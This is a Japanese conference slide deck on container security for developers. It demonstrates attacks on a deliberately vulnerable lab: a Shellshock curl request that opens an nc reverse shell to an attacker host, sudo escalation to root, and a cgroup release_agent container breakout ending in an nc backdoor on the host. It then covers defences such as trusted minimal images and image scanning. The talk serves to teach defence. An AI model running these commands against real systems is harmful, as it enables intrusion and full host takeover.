乗っ取れコンテナ！！開発者から見たコンテナセキュリティの考え方（CloudNative Days Tokyo 2021 発表資料）

2021/11/04 17:20-18:00
Track F
@mochizuki875
乗っ取れコンテナ！！
∼開発者から見たコンテナセキュリティの考え方∼

@mochizuki875
Name
Keita Mochizuki（mochizuki875）
Company
NTT DATA Corporation
Role
Cloud Engineer
whoami

Name
Keita Mochizuki（mochizuki875）
Company
NTT DATA Corporation
Role
Cloud Engineer
whoami
たぬきではなく
きつねです。
@mochizuki875

毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213

毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
一緒にワイワイしましょう😆
ゲスト出演も絶賛募集中です！！
※ゲスト出演頂ける方は以下メンバーのTwitter DMまでご連絡頂ければと思います

本セッションのターゲット
コンテナを利用する開発者
コンテナのセキュリティをこれまであまり意識して来なかった人
趣旨
①コンテナを利用する上でのセキュリティリスクを実感する
一般的に「〇〇だと危ない」と語られるセキュリティリスクについて攻撃事例を用いて具体的に理解する
②セキュリティリスク対策の考え方を体系的に理解する
セキュリティリスクの具体的な理解を踏まえ、どういう考え方・方法でそれらに対処すべきかを理解する
話さないこと
今回以下については説明の対象外します。
・コンテナ基盤管理者目線でのセキュリティの考え方
・アプリケーションレイヤにおけるセキュリティの考え方
・セキュリティリスクや対策手法の網羅的な説明
・各種ツールの詳細な説明
はじめに

・本発表はサイバー攻撃を肯定するものではありません
・発表内で用いるコンテナという言葉は基本的にruncで実行されるコンテナを指します
・掲載内容は個人の見解であり、所属する企業や組織の立場、戦略、意見を代表するものでは
ありません
・記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です
はじめに

1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
2.1. 概要
2.2. コンテナを乗っ取る
2.3. コンテナホストを乗っ取る
2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
3.1. 概要
3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda

ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
ーネントの脆弱性
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
コンテナセキュリティのプラクティスの代表的例として、
NIST SP800-190 アプリケーションコンテナセキュリティガイド
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド（IPA日本語翻訳版）
https://www.ipa.go.jp/
fi
les/000085279.pdf

ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
コンテナセキュリティのプラクティスの代表的例として、
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
fi
les/000085279.pdf
雰囲気は分かる！！
が、
具体的に捉え辛い・・・
※個人の見解です

Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
NIST SP800-190をベースにコンテナセキュリティで扱うスコープをさらに細分化すると、
以下のように開発者と基盤管理者それぞれで担うべきレイヤに分けることができます。
一般的にはこれら各レイヤそれぞれに対してセキュリティ対策を行う多層防御の考え方が推奨されます。

Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
本セッションではその中でも開発者の責任レイヤに関するセキュリティリスク及び対策の考え方を
具体的な例に基づき扱っていきたいと思います。
※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています

Role Layer NIST SP800-190
イメージのリスクコンテナのリスクオーケストレータのリスクホストOSのリスクレジストリのリスク
Developer Application ア
プ
リの脆弱性
Container Image イメージの脆弱性
イメージの設定不備*
埋め込まれたマルウェア
埋め込まれた平文の秘密情報
信頼できないイメージの使用
Container イメージの設定不備* セキュア
で
ないコンテナランタイムの設定共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
Administrator Container Runtime ランタイムソフトウェア内の脆弱性
Orchestrator コンテナからの無制限のネットワークアクセス
未承認コンテナ
制限のない管理者アクセス
不正アクセス
コンテナ間ネットワークトラフィックの不十分な分離
ワークロー
ド
の機微性レ
ベ
ルの混合
オーケストレータノー
ド
の信頼
Host OS 共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
ホスト OS コン
ポ
大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Cloud/NW 大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Registry レジストリへのセキュアでない接続
レジストリ内の古いイメージ
認証・認可の不十分な制限
（参考）各レイヤへのマッピング

CloudNative Days Tokyo 2020「攻撃しながら考えるKubernetesのセキュリティ」
資料
https://speakerdeck.com/fujiihda/considering-kubernetes-security-while-attacking
動画
https://event.cloudnativedays.jp/cndt2020/talks/26
CloudNative Days Online 2021「ここからはじめるKubernetesセキュリティ」
資料
https://speakerdeck.com/tetsuyaisogai/kubernetes-security-101
動画
https://event.cloudnativedays.jp/cndo2021/talks/611
基盤管理者目線のリスクやセキュリティ対策にも興味がある方は、以下のセッションが参考になると思いますので
合わせてご覧ください。
（参考）基盤管理者目線のセキュリティ

ここからは開発者の責任レイヤをスコープとしたセキュリティリスクを実感するため、
セキュリティリスクを含むコンテナに対する攻撃事例を解説していきます。
今回の検証及び解説は以下の環境を前提としています。
環境
Linux Kernel：5.4.0-72-generic
OS：Ubuntu 20.04.2 LTS
Kubernetes：v1.22.0
CRI：containerd 1.4.9
OCI：runc 1.0.1
PoC資材URL
mochizuki875/CVE-2014-6271-Apache-Debian
https://github.com/mochizuki875/CVE-2014-6271-Apache-Debian
是非やってみてね！
※ご自身の環境で！！！！
2.1. コンテナへの攻撃事例 -概要-

https://attack.mitre.org/matrices/enterprise/containers/
MITRE ATT&CK
攻撃者の戦略（Tactics）と技術（Techniques）を分析し整理したナレッジベース。
コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。

攻撃フェーズ
攻撃手法
MITRE ATT&CK
攻撃者の戦略（Tactics）と技術（Techniques）を分析し整理したナレッジベース。
コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。

MITRE ATT&CK
本日は主に以下赤枠で示した箇所を対象として攻撃デモを行なっていきます。

Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Manifest
Container
Image
Service A
Service B
Service C
$ kubectl apply
Master Node
Webサイトを
コンテナとしてデプロイ
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ（Pod）としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest（コンテナ起動設定）
にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます
セキュリティリスクを含む

Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web
$ kubectl get pod
NAME READY STATUS RESTARTS AGE
web 1/1 Running 0 3m
service_a 1/1 Running 0 15h20m
service_b 1/1 Running 0 9h17m
service_c 1/1 Running 0 7h11m
Master Node
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ（Pod）としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest（コンテナ起動設定）
にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます

User
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
Webサイトにアクセス
ユーザーは新たに公開されたWebサービスにアクセスし、サービスを利用します。

今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。
ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。
http://container-hands-on.local
※Load Balancer等なんらかの手段を用いてコンテナを外部公開している

今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。
ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。

Attacker
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
悪意のあるユーザー（攻撃者）がWebサービスのセキュリティリスクを発見し、攻撃を仕掛けようと試みます。
なお、今回の例で攻撃者は一般ユーザーと同じくインターネット越しにサービスにアクセスするものとします。
※本来攻撃を仕掛ける際は攻撃者がどのようにセキュリティリスクを発見するか、どのように攻撃対象の構成を知るか、
といった観点も考慮する必要がありますが、今回の趣旨とは話が逸れるため省略させていただきます。
Attack!!

Attacker
Container Host（Worker Node #1）
Service A
Web
今回のシナリオでは攻撃者は以下の2つの攻撃を試みます。
[シナリオ①] コンテナを乗っ取る
Webサービスに不正なリクエストを送りつけることでコンテナにバックドアを仕掛けて侵入する。
その後、Webサイトのリンクを書き換える。
[シナリオ②] コンテナホストを乗っ取る
侵入したコンテナからコンテナホストに対して不正なコマンドを発行する。
コマンド実行によりバックドアを仕掛けることでコンテナホストに侵入する。
①-1. コンテナ内に侵入
①-2. Webサイトを書き換え
cmd
②-1. コンテナホストに対して不正なコマンドを実行
Back Door
②-2. バックドアを作成
②-3. バックドアを経由して侵入
※開発者がセキュリティリスクを含むコンテナをデプロイしているケースを想定した攻撃デモを目的と
しているため、意図的に脆弱な環境を作成しています
また、コンテナレイヤのリスクを表現するため、あえて基盤管理レイヤへのセキュリティ対策は
行っていません

乗っ取っていくぅ！！
😎

Attacker
最初に攻撃者は以下のようなHTTPリクエストをWebサービスコンテナに対して発行します。
これによりコンテナ内で不正にコマンドが実行され、コンテナに侵入するためのバックドアが作成されます。
不正なHTTPリクエストを送信
# nc -nvlp 5050
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050"
http://container-hands-on.local/cgi-bin/vulnerable
Web
攻撃者端末（ターミナル1）
ターミナル2のHTTPリクエストでヘッダに付
与したコマンドが実行され、
攻撃者端末とセッションを確立
5050ポート待ち受け
/bin/nc
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-

Attacker
攻撃者のターミナル1でコンテナに侵入できた（コンテナ内のshellを取得できた）ことが確認できます。
これにより攻撃者はコンテナ内で任意の操作が可能になりました。
コンテナ内に侵入
# nc -nvlp 5050
Listening on 0.0.0.0 5050
Connection received on 192.168.2.155 54758
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
hostname
web
Web
コンテナ（攻撃者端末のターミナル1から侵入）
攻撃者はコンテナ内で
任意のコマンドを実行
可能になった
コンテナとセッション確立

Attacker
侵入したコンテナ内で以下のコマンドを実行し、Webコンテンツのリンクを書き換えます。
Webサイトを書き換え
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html
Web
※今回は検証用ということであらかじめコンテナ内に用意したダミーページ（ /var/www/html/danger.html）にリンク先を変更しています。
コンテナとセッション確立

実際にWebサイトにアクセスしてみます。一見変わりはありませんが・・・

リンクが改竄されておりユーザーは意図しないページに誘導されてしまいます。
ここまでで攻撃者はWebサービスを提供するコンテナに侵入し、コンテンツの改竄を行うことができました。
（コンテナを乗っ取ることができた）

Attacker
続いて侵入したコンテナからWorker Nodeで任意のコマンドを実行することを試みます。
※このように本来隔離されているはずのコンテナからコンテナ外（ホストなど）に対して影響を及ぼすことをContainer Breakoutと呼ぶ
まずはコンテナ内でroot（特権ユーザー）に昇格します。
これで侵入したコンテナ内で攻撃者はrootとして振る舞うことが可能になりました。
id
sudo su -
id
uid=0(root) gid=0(root) groups=0(root)
Web
sudo su -
コンテナ内で特権ユーザーに昇格
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-

Attacker
ホストで実行したいプログラムをコンテナ内で作成します。
cat <<EOF > /cmd
#!/bin/sh
echo "hostname Command from Container" > /tmp/output
hostname >> /tmp/output
EOF
# chmod +x /cmd
Web
cat
プログラムを作成
cmd

Attacker
先ほどコンテナ内で作成したファイルcmdの実態は、ホスト上のrootfsに所属する特定ディレクトリに存在することになります。
これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。
OverlayFSは複数のディレクトリを重ね合わせて1つのファイルシステムを再現する仕組みであり、
OverlayFSに対する更新はUpperdirに反映されます。
mount -t overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/
containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/
snapshots/57/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/56/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/55/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/54/
fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/53/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/
fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o
ff
)
Web
/sys/fs/cgroup/rdma/
x
notify_on_release
cmd
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
実体はホスト上の
Overlayfsに存在
※マウントされているOverlayfsのホスト上でのパスは、コンテナ内でmountコマンドを実行することで確認可能です。

Attacker
コンテナ内でcgroupと呼ばれる特殊なファイルシステムに対してディレクトリを作成します。
このcgroupというファイルシステムについてはコンテナとホストで共有されているため、
ここではコンテナから直接ホストのcgroupを操作していることになります。
※一般的にコンテナとホストでファイルシステムは隔離されます。しかしcgroupについてはデフォルトでcgroup namespaceが共通であるため、双方で共有される事になることになります。
mkdir /sys/fs/cgroup/rdma/x
ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
Web
root@k8s-cluster1-worker01: # ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
コンテナホスト
x
mkdir
コンテナ内でcgroupを作成すると、
同じものがホスト上にも作成される

Attacker
cgroupがコンテナとホストで共通であることを利用すると、以下のようなコマンド操作を行うことで先ほど用意した
プログラムをcgroupの機能を用いて発火させ、ホスト上で実行できるようになります。
[補足]
cgroupとはカーネル上のプロセスに対してリソースの制限を行う仕組みであり、ここではcgroup v1のもつrelease agentという機能を利用しています。
release agentを有効（①）にした上で設定ファイルにプログラムを登録（②）しておくことで、特定のcgroupに所属するプロセスが全て終了（③）したことを契機に
そのプログラムを実行することができます。
Web
x
notify_on_release
コマンド実行 sh
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
release_agent
登録されたプログラムを発火
cgroup.procs
process
コマンド実行時にPIDが登録され
完了に伴い削除される
※xに所属するプロセスが全て終了したとみなされる
ホスト上で実行
echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release
echo "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/cmd" > /sys/fs/cgroup/rdma/release_agent
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
・・・①
・・・②
・・・③
ホスト上でのcmdのパス

コンテナ内で用意したプログラムがホスト上で実行されたことを確認します。
今回は以下のようにホスト側にファイルを作成し、メッセージを出力するコマンドをプログラム内で定義しました。
ホスト上で確認するとコンテナ内で用意したプログラムが実行され、メッセージが出力されていることが分かります。
これで攻撃者はコンテナからホストに対して任意のコマンドを発行できるようになりました。
コンテナ内で用意したプログラム（再掲）
root@k8s-cluster1-worker01: # cat /tmp/output
hostname Command from Container
k8s-cluster1-worker01
cat <<EOF > /cmd
#!/bin/sh
EOF
ホスト上でのコマンド実行結果

コンテナ内からホスト上で任意のコマンドを実行できることを利用し、ホストにバックドアを仕掛けて侵入することを試みます。
まずはホストのIPアドレスを取得します。
cat <<EOF > /cmd
#!/bin/sh
ip a > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/ip.txt
EOF
ホストから見たコンテナのrootfsのパス
cat /ip.txt
（略）
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:d1:c7:c6 brd
ff
:
ff
:
ff
:
ff
:
ff
:
ff
inet 192.168.2.154/24 brd 192.168.2.255 scope global ens160
（略）
プログラムの作成
プログラムの実行
プログラムの実行結果の確認

以下のようなコマンドをそれぞれ攻撃者端末及びコンテナ内て実行することでホストに対してバックドアを仕掛け、
攻撃者端末からホストに侵入することができます。
cat <<EOF > /cmd
#!/bin/sh
nc -l 9023 ¦ bash ¦ nc <攻撃端末IP> 8023
EOF
# nc -l 8023
# nc 192.168.2.154 9023
Attacker
Web
cmd
Back Door
（9023ポート待ち受け） 9023ポート宛通信
バックドアを作成
先ほど取得したホストのIPアドレス

攻撃者端末において、ターミナル3でコマンドを発行するとその実行結果がターミナル2に表示されるようになりました。
これで攻撃者は自身の端末からコンテナホストに対して任意のコマンドを発行できるようになりました。
（コンテナホストを乗っ取ることができた）
# nc -l 8023
k8s-cluster1-worker01
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
f73e6d0a32955 b00e04dc37e5b 15 minutes ago Running web 0 6e32489bcb40e
f090ed1dec116 20e6ceb085463 29 hours ago Running service_a 0 3fd1801877dbe
4fe0ae03678de bbad1636b30d8 5 days ago Running kube-proxy 0 59c4d874c0a5b
6698a0c797f1e 8d147537fb7d1 5 days ago Running coredns 0 b52984d75ce11
# nc 192.168.2.154 9023
id
hostname
crictl ps
Attacker
Web
攻撃者はバックドアを経由して任意の
コマンドを実行できるようになった
Back Door
（9023ポート待ち受け） 9023ポート宛通信
id
hostname
crictl

①コンテナを乗っ取る
外部からの不正なリクエストによりコンテナに侵入された
コンテナ内のファイル（Webコンテンツ）を書き換えられた
②コンテナホストを乗っ取る
コンテナ内で用意した不正なプログラムをホスト上に配置された
コンテナからホストのcgroupを操作され、不正なプログラムを実行された
今回の攻撃で行われたことを整理すると以下のようになります。
これらの攻撃は開発者の責任範囲であるコンテナイメージ及びコンテナレイヤに含まれるセキュリティリスクを悪用して
行われました。
2.4. コンテナへの攻撃事例 -攻撃のまとめ-

何がいけなかったのか？
どうすれば良かったのか？

※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています
コンテナをデプロイするにあたり開発者はそれぞれ以下2つのレイヤについてセキュリティリスクを意識し、
対策を考える必要があります。
・Container Image：どのようなコンテナをデプロイするか
・Container：デプロイするコンテナにどのような設定を行うか
3.1. コンテナセキュリティの考え方 -概要-
Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
Docker
fi
le
Kubernetes Manifest
今回はDocker
fi
leを用いてイメージをビルドし、
Kubernetes Manifestを用いてKubernetes上にコンテナをデプロイする
という最も一般的なケースを用いることとします。

以下ではコンテナイメージ、コンテナそれぞれのレイヤにおけるセキュリティの考え方について、
先の攻撃事例を元に3ステップでご説明します。
基本
原則
リスク
対策
各レイヤにおいてセキュリティを考える際の基本原則を説明
攻撃事例を元にどのようなことがセキュリティリスクになり得るか説明
セキュリティ対策の具体的な手法を説明
3.1. コンテナセキュリティの考え方 -概要-

Container Host
process
Container A
Image A
Container Host
process
Container B
Image B
必要最小限のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
必要以上のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
コンテナの隔離環境には必要最小限のものが含まれる状態コンテナの隔離環境に様々なものが含まれる状態
＜＜セキュリティリスク＜＜
イメージに余分なものを含めない
3.2. コンテナセキュリティの考え方 -イメージ-
基本
原則
小大

一般的にイメージに含めるべきでないとされるもの
不要なパッケージ不要なプログラムやIF
不要なプロセス不要な設定
秘密情報
3.2. コンテナセキュリティの考え方 -イメージ-
基本
原則
上記のようなものがコンテナに含まれていることで、起動するコンテナに脆弱性を含んでしまうリスクや
攻撃者に対する攻撃の機会を与えてしまうこと（Attack Surface）に繋がる

今回攻撃が成立してしまったケースにおいて、開発者が用意したイメージ（Docker
fi
le）がどうだったか見てみましょう。
一見Docker
fi
le内で行っていることに問題はなさそうです。
しかしながら使用しているベースイメージは本当に信頼できるものなのでしょうか。
FROM mochizuki875/cve-2014-6271-apache-debian:buster
# Place content
COPY index.html /var/www/html/
RUN chown www-data:www-data /var/www/html/index.html
開発者が用意したDocker
fi
le
（mochizuki875/training-website-poc:v1.0）
※今回はあくまで例なのであからさまに怪しいベースイメージ名になっていますが、
実際のケースでは開発者が何となく選定したイメージを想定してください
（例えば開発者がDockerHubで"performance-lab/high-performance-httpd:v1.0"のようなものを見つけて使用）
3.2. コンテナセキュリティの考え方 -イメージ- リスク

開発者が使用したベースイメージの中身は以下のようになっており、
本来含めるべきでない様々な余分なものが含まれている状態でした。
FROM debian:buster
# Install packages and permission setting
RUN apt-get update &&
apt-get upgrade -y &&
DEBIAN_FRONTEND=noninteractive apt-get install -y apache2 &&
a2enmod cgid &&
apt-get -y install libtinfo5 &&
apt-get -y install netcat &&
apt-get install -y sudo &&
groupadd wheel &&
usermod -aG wheel www-data &&
echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers &&
apt-get clean &&
rm -rf /var/lib/apt/lists/*
# Inject CVE-2014-6271 bash
COPY packages /packages
RUN dpkg -i /packages/*
# Place content
COPY vulnerable /usr/lib/cgi-bin/
COPY danger.html /var/www/html/
RUN chown www-data:www-data /var/www/html/* &&
chown www-data:www-data /usr/lib/cgi-bin/vulnerable &&
chmod +x /usr/lib/cgi-bin/vulnerable
EXPOSE 80
CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"]
不要なパッケージ
不要な設定
脆弱性を含むパッケージ
※CVE-2014-6271を含むbash
不要なIF
ベースイメージのDocker
fi
le
（ mochizuki875/cve-2014-6271-apache-debian:buster）

今回の攻撃事例では攻撃者がコンテナに侵入する際、
Webサーバーのコンテナに対して以下のようなHTTPリクエストを発行していました。
このHTTPリクエストではコンテナイメージ内に含まれていた以下2つの要素を悪用することで
コンテナ内で任意のコマンドをリモート実行することを試みています。
・CGI（Common Gateway Interface）：Webサーバーに配置されたプログラムを呼び出すIF
・CVE-2014-6271：GCI経由で任意のコマンドをリモート実行できてしまうbashの脆弱性（ShellShock）
その結果、コンテナにバックドアを仕掛け、コンテナに侵入するに至りました。
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050"
http://container-hands-on.local/cgi-bin/vulnerable
CGIに対するリクエスト
脆弱性を利用してバックドアを仕掛けるコマンドを実行
攻撃者が外部からコンテナに侵入する際に用いたコマンド（再掲）

また、コンテナイメージに不要なコマンド（sudo）が含まれていたこともセキュリティリスクであったといえます。
本来コンテナが動作する上で必要ではないsudoコマンドが含まれていたことにより、
攻撃者はコンテナに侵入後、特権ユーザーに昇格し、悪意のある操作を行うことができてしまいました。
id
sudo su -
id
コンテナ侵入後の特権昇格（再掲）

代表的なイメージのセキュリティリスクに対処するためのプラクティス
■概念
- 4.1 イメージの対策
fi
les/000085279.pdf
■具体的な設定
CIS Benchmark Docker
- 4 Container Images and Build File Con
fi
guration
https://www.cisecurity.org/benchmark/docker
Best practices for writing Docker
fi
les
https://docs.docker.com/develop/develop-images/docker
fi
le_best-practices/
3.2. コンテナセキュリティの考え方 -イメージ- 対策

今回の攻撃事例のように信頼できないベースイメージを使用するとイメージに意図せぬセキュリティリスクを含む
危険性があります。
ベースイメージには信頼できるイメージを使う、もしくはscratchでイメージを作成する
ということがイメージのセキュリティ対策を考える上での大前提となります。
# O
ffi
cial Image of Apache HTTP Server Project
FROM httpd:2.4.48-alpine
# Place content
COPY index.html /usr/local/apache2/htdocs/
RUN chown www-data:www-data /usr/local/apache2/htdocs/index.html
Docker
fi
le（httpd公式イメージを使用）
（mochizuki875/training-website-poc:v2.0）
信頼できるイメージを利用する
※イメージとして使用するソフトウェア自体に致命的な脆弱性がないかも意識する必要があります。
例えば今回の場合httpd 2.4.48自体に致命的な脆弱性が存在していないかを予め確認しておくべきです。
https://httpd.apache.org/security/vulnerabilities_24.html

余分なものを含めないという観点で作成するイメージをできる限り小さくすることが重要になります。
また、信頼できるイメージ（httpdの公式イメージ）をベースイメージとして使用する場合でも、
タグバージョンによってイメージサイズが異なり、サイズが大きなイメージ程そこに余分な（攻撃に使用され得る）ものが
含まれる可能性が高くなります。
このような理由から、一般的にサイズの小さいタグバージョンを使用する方がセキュリティリスクは少ないといえます。
httpd:2.4.48（dedian-slimベース）と2.4.48-alpine（alpineベース）の比較
# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
httpd 2.4.48 c8ca530172a8 45 hours ago 138MB
httpd 2.4.48-alpine feb558a43c19 12 days ago 54.8MB
※もちろんですが、ベースイメージから作成するイメージについても不要なパッケージを極力含まないようにするという取り組みも重要です。
イメージを小さくする

いくらセキュリティを意識してイメージを作成したとしても意図せず脆弱性や危険な設定を含んでしまう可能性はあります。
そこで助けになるのがコンテナイメージのスキャンツールです。
■代表的なイメージスキャンツール
・コンテナイメージに含まれるパッケージの
脆弱性を検知できる
・ただしパッケージマネージャーを使用せず
バイナリから直接インストールしたものに
ついては検知できない
・Docker
fi
leやk8s Manifestの
スキャンにも対応
・コンテナイメージがベストプラクティスに則った
構成になっているかをチェックできる
・Docker CIS Benchmark
・Dockle独自のプラクティス
・コンテナイメージの設定上のセキュリティリスク
を検知できる
（Trivyで検知できないパッケージ以外のリスク検知に有効）
https://github.com/aquasecurity/trivy https://github.com/goodwithtech/dockle
イメージをスキャンする
※ここでは代表的なOSSのイメージスキャンツールを例として示していますがこれが正解という意図ではありません。

trivyを用いてイメージをスキャンすることで、以下のようにイメージに含まれるパッケージの脆弱性を検知できます。
今回攻撃に使用された脆弱性（CVE-2014-6271）についてもtrivyを用いて検知できていることが分かります。
$ trivy --severity CRITICAL,HIGH mochizuki875/training-website-poc:v1.0

2021-08-30T19:13:57.535+0900

INFO

Need to update DB

2021-08-30T19:13:57.535+0900

INFO

Downloading DB...

23.09 MiB / 23.09 MiB [--------------------------------------------------------------------------------------------------------------------------] 100.00%
12.18 MiB p/s 2s

2021-08-30T19:14:00.488+0900

INFO

Detected OS: debian

2021-08-30T19:14:00.488+0900

INFO

Detecting Debian vulnerabilities...

2021-08-30T19:14:00.510+0900

INFO

Number of language-specific files: 0

mochizuki875/training-website-poc:v1.0 (debian 10.10)

=====================================================

Total: 43 (HIGH: 38, CRITICAL: 5)

+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+

| LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE |

+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+

| apache2 | CVE-2021-33193 | HIGH | 2.4.38-3+deb10u5 | | httpd: Request splitting via HTTP/2 |

| | | | | | method injection and mod_proxy |

| | | | | | -->avd.aquasec.com/nvd/cve-2021-33193 |

+---------------+ + + +------------------+ +

・

・

・

+---------------+------------------+----------+-----------------------+------------------+--------------------------------------------------------------+

| bash | CVE-2014-6271 | CRITICAL | 4.2+dfsg-0.1 | 4.3-9.1 | bash: specially-crafted |

| | | | | | environment variables can be |

| | | | | | used to inject shell commands |


+ +------------------+----------+ +------------------+--------------------------------------------------------------+

